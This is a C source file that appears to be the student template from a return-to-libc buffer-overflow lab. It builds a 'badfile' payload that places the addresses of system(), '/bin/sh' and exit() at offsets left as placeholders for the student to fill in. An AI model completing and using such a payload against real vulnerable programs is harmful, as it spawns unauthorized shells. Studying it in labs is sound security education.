/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[X] = some address ; // "/bin/sh" ✰
*(long *) &buf[Y] = some address ; // system() ✰
*(long *) &buf[Z] = some address ; // exit() ✰
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}